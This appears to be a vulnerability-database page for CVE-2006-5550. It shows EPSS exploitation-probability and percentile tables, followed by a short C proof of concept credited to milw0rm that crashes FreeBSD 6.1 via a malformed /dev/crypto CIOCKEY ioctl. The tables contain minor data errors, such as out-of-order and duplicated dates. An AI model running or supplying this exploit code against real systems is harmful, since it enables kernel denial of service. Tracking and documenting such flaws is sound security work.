CVE-2006-5550 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-01-14	–	–	–	0.04%	–
2024-02-11	–	–	–	0.05%	–
2024-02-25	–	–	–	0.05%	–
2024-03-31	–	–	–	0.05%	–
2024-04-21	–	–	–	0.05%	–
2024-06-02	–	–	–	0.05%	–
2024-07-28	–	–	–	0.05%	–
2024-08-11	–	–	–	0.05%	–
2024-09-22	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.05%	–
2025-02-16	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-02-16	–	–	–	0.05%	–
2025-03-18	–	–	–	–	0.17%
2025-04-15	–	–	–	–	0.17%
2025-04-15	–	–	–	–	0.17,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	8%
2024-01-14	7%
2024-02-11	12%
2024-02-25	13%
2024-03-31	14%
2024-04-21	14%
2024-06-02	16%
2024-07-28	16%
2024-08-11	17%
2024-09-22	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	19%
2025-02-16	2%
2025-01-19	19%
2025-02-16	2%
2025-03-18	35%
2025-04-15	39%
2025-04-15	39%

// Evgeny Legerov (elegerov.blogspot.com) #include unistd.h #include sys/types.h #include stdio.h #include fcntl.h #include crypto/cryptodev.h int main() { int fd2, fd; struct crypt_kop kop; printf("FreeBSD 6.1 /dev/crypto local kernel DoS\n"); fd2 = open("/dev/crypto", O_RDWR, 0); if (fd2 == -1){ perror("open"); exit(-1); } if (ioctl(fd2, CRIOGET, &fd) == -1) { perror("ioctl"); exit(-1); } kop.crk_op = CRK_MOD_EXP; kop.crk_iparams = 3; kop.crk_oparams = 1; kop.crk_param[0].crp_nbits = 0x70000000; ioctl(fd, CIOCKEY, &kop); printf("exploit failed\n"); return 0; } // milw0rm.com [2006-10-24]